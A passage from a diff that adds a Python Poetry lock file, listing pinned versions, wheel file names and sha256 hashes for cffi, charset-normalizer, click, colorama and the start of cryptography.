"sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, + {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, + {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, + {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, + {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, + {file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, + {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, + {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, + {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, + {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, + {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, + {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, + {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, + {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, + {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, +] + +[package.dependencies] +pycparser = "*" + +[[package]] +name = "charset-normalizer" +version = "3.4.3" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "charset_normalizer-3.4.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:fb7f67a1bfa6e40b438170ebdc8158b78dc465a5a67b6dde178a46987b244a72"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc9370a2da1ac13f0153780040f465839e6cccb4a1e44810124b4e22483c93fe"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:07a0eae9e2787b586e129fdcbe1af6997f8d0e5abaa0bc98c0e20e124d67e601"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:74d77e25adda8581ffc1c720f1c81ca082921329452eba58b16233ab1842141c"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d0e909868420b7049dafd3a31d45125b31143eec59235311fc4c57ea26a4acd2"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c6f162aabe9a91a309510d74eeb6507fab5fff92337a15acbe77753d88d9dcf0"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:4ca4c094de7771a98d7fbd67d9e5dbf1eb73efa4f744a730437d8a3a5cf994f0"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:02425242e96bcf29a49711b0ca9f37e451da7c70562bc10e8ed992a5a7a25cc0"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:78deba4d8f9590fe4dae384aeff04082510a709957e968753ff3c48399f6f92a"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-win32.whl", hash = "sha256:d79c198e27580c8e958906f803e63cddb77653731be08851c7df0b1a14a8fc0f"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-win_amd64.whl", hash = "sha256:c6e490913a46fa054e03699c70019ab869e990270597018cef1d8562132c2669"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b256ee2e749283ef3ddcff51a675ff43798d92d746d1a6e4631bf8c707d22d0b"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:13faeacfe61784e2559e690fc53fa4c5ae97c6fcedb8eb6fb8d0a15b475d2c64"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:00237675befef519d9af72169d8604a067d92755e84fe76492fef5441db05b91"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:585f3b2a80fbd26b048a0be90c5aae8f06605d3c92615911c3a2b03a8a3b796f"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e78314bdc32fa80696f72fa16dc61168fda4d6a0c014e0380f9d02f0e5d8a07"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:96b2b3d1a83ad55310de8c7b4a2d04d9277d5591f40761274856635acc5fcb30"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:939578d9d8fd4299220161fdd76e86c6a251987476f5243e8864a7844476ba14"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:fd10de089bcdcd1be95a2f73dbe6254798ec1bda9f450d5828c96f93e2536b9c"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1e8ac75d72fa3775e0b7cb7e4629cec13b7514d928d15ef8ea06bca03ef01cae"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-win32.whl", hash = "sha256:6cf8fd4c04756b6b60146d98cd8a77d0cdae0e1ca20329da2ac85eed779b6849"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-win_amd64.whl", hash = "sha256:31a9a6f775f9bcd865d88ee350f0ffb0e25936a7f930ca98995c05abf1faf21c"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:e28e334d3ff134e88989d90ba04b47d84382a828c061d0d1027b1b12a62b39b1"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0cacf8f7297b0c4fcb74227692ca46b4a5852f8f4f24b3c766dd94a1075c4884"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c6fd51128a41297f5409deab284fecbe5305ebd7e5a1f959bee1c054622b7018"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cfb2aad70f2c6debfbcb717f23b7eb55febc0bb23dcffc0f076009da10c6392"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1606f4a55c0fd363d754049cdf400175ee96c992b1f8018b993941f221221c5f"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:027b776c26d38b7f15b26a5da1044f376455fb3766df8fc38563b4efbc515154"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:42e5088973e56e31e4fa58eb6bd709e42fc03799c11c42929592889a2e54c491"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:cc34f233c9e71701040d772aa7490318673aa7164a0efe3172b2981218c26d93"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:320e8e66157cc4e247d9ddca8e21f427efc7a04bbd0ac8a9faf56583fa543f9f"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-win32.whl", hash = "sha256:fb6fecfd65564f208cbf0fba07f107fb661bcd1a7c389edbced3f7a493f70e37"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-win_amd64.whl", hash = "sha256:86df271bf921c2ee3818f0522e9a5b8092ca2ad8b065ece5d7d9d0e9f4849bcc"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:14c2a87c65b351109f6abfc424cab3927b3bdece6f706e4d12faaf3d52ee5efe"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:41d1fc408ff5fdfb910200ec0e74abc40387bccb3252f3f27c0676731df2b2c8"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1bb60174149316da1c35fa5233681f7c0f9f514509b8e399ab70fea5f17e45c9"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:30d006f98569de3459c2fc1f2acde170b7b2bd265dc1943e87e1a4efe1b67c31"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:416175faf02e4b0810f1f38bcb54682878a4af94059a1cd63b8747244420801f"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6aab0f181c486f973bc7262a97f5aca3ee7e1437011ef0c2ec04b5a11d16c927"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:fdabf8315679312cfa71302f9bd509ded4f2f263fb5b765cf1433b39106c3cc9"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:bd28b817ea8c70215401f657edef3a8aa83c29d447fb0b622c35403780ba11d5"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:18343b2d246dc6761a249ba1fb13f9ee9a2bcd95decc767319506056ea4ad4dc"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-win32.whl", hash = "sha256:6fb70de56f1859a3f71261cbe41005f56a7842cc348d3aeb26237560bfa5e0ce"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-win_amd64.whl", hash = "sha256:cf1ebb7d78e1ad8ec2a8c4732c7be2e736f6e5123a4146c5b89c9d1f585f8cef"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3cd35b7e8aedeb9e34c41385fda4f73ba609e561faedfae0a9e75e44ac558a15"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b89bc04de1d83006373429975f8ef9e7932534b8cc9ca582e4db7d20d91816db"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2001a39612b241dae17b4687898843f254f8748b796a2e16f1051a17078d991d"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8dcfc373f888e4fb39a7bc57e93e3b845e7f462dacc008d9749568b1c4ece096"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b97b8404387b96cdbd30ad660f6407799126d26a39ca65729162fd810a99aa"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ccf600859c183d70eb47e05a44cd80a4ce77394d1ac0f79dbd2dd90a69a3a049"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:53cd68b185d98dde4ad8990e56a58dea83a4162161b1ea9272e5c9182ce415e0"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:30a96e1e1f865f78b030d65241c1ee850cdf422d869e9028e2fc1d5e4db73b92"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d716a916938e03231e86e43782ca7878fb602a125a91e7acb8b5112e2e96ac16"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-win32.whl", hash = "sha256:c6dbd0ccdda3a2ba7c2ecd9d77b37f3b5831687d8dc1b6ca5f56a4880cc7b7ce"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-win_amd64.whl", hash = "sha256:73dc19b562516fc9bcf6e5d6e596df0b4eb98d87e4f79f3ae71840e6ed21361c"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:0f2be7e0cf7754b9a30eb01f4295cc3d4358a479843b31f328afd210e2c7598c"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c60e092517a73c632ec38e290eba714e9627abe9d301c8c8a12ec32c314a2a4b"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:252098c8c7a873e17dd696ed98bbe91dbacd571da4b87df3736768efa7a792e4"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3653fad4fe3ed447a596ae8638b437f827234f01a8cd801842e43f3d0a6b281b"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8999f965f922ae054125286faf9f11bc6932184b93011d138925a1773830bbe9"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d95bfb53c211b57198bb91c46dd5a2d8018b3af446583aab40074bf7988401cb"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:5b413b0b1bfd94dbf4023ad6945889f374cd24e3f62de58d6bb102c4d9ae534a"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:b5e3b2d152e74e100a9e9573837aba24aab611d39428ded46f4e4022ea7d1942"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:a2d08ac246bb48479170408d6c19f6385fa743e7157d716e144cad849b2dd94b"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-win32.whl", hash = "sha256:ec557499516fc90fd374bf2e32349a2887a876fbf162c160e3c01b6849eaf557"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-win_amd64.whl", hash = "sha256:5d8d01eac18c423815ed4f4a2ec3b439d654e55ee4ad610e153cf02faf67ea40"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:70bfc5f2c318afece2f5838ea5e4c3febada0be750fcf4775641052bbba14d05"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:23b6b24d74478dc833444cbd927c338349d6ae852ba53a0d02a2de1fce45b96e"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:34a7f768e3f985abdb42841e20e17b330ad3aaf4bb7e7aeeb73db2e70f077b99"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fb731e5deb0c7ef82d698b0f4c5bb724633ee2a489401594c5c88b02e6cb15f7"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:257f26fed7d7ff59921b78244f3cd93ed2af1800ff048c33f624c87475819dd7"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1ef99f0456d3d46a50945c98de1774da86f8e992ab5c77865ea8b8195341fc19"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:2c322db9c8c89009a990ef07c3bcc9f011a3269bc06782f916cd3d9eed7c9312"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:511729f456829ef86ac41ca78c63a5cb55240ed23b4b737faca0eb1abb1c41bc"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:88ab34806dea0671532d3f82d82b85e8fc23d7b2dd12fa837978dad9bb392a34"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-win32.whl", hash = "sha256:16a8770207946ac75703458e2c743631c79c59c5890c80011d536248f8eaa432"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-win_amd64.whl", hash = "sha256:d22dbedd33326a4a5190dd4fe9e9e693ef12160c77382d9e87919bce54f3d4ca"}, + {file = "charset_normalizer-3.4.3-py3-none-any.whl", hash = "sha256:ce571ab16d890d23b5c278547ba694193a45011ff86a9162a71307ed9f86759a"}, + {file = "charset_normalizer-3.4.3.tar.gz", hash = "sha256:6fce4b8500244f6fcb71465d4a4930d132ba9ab8e71a7859e6a5d59851068d14"}, +] + +[[package]] +name = "click" +version = "8.2.1" +description = "Composable command line interface toolkit" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "click-8.2.1-py3-none-any.whl", hash = "sha256:61a3265b914e850b85317d0b3109c7f8cd35a670f963866005d6ef1d5175a12b"}, + {file = "click-8.2.1.tar.gz", hash = "sha256:27c491cc05d968d271d5a1db13e3b5a184636d9d930f148c50b038f0d0646202"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["main"] +markers = "platform_system == \"Windows\"" +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] + +[[package]] +name = "cryptography" +version = "42.0.8" +description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:81d8a521705787afe7a18d5bfb47ea9d9cc068206270aad0b96a725022e18d2e"}, + {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_x86_64.whl", hash = 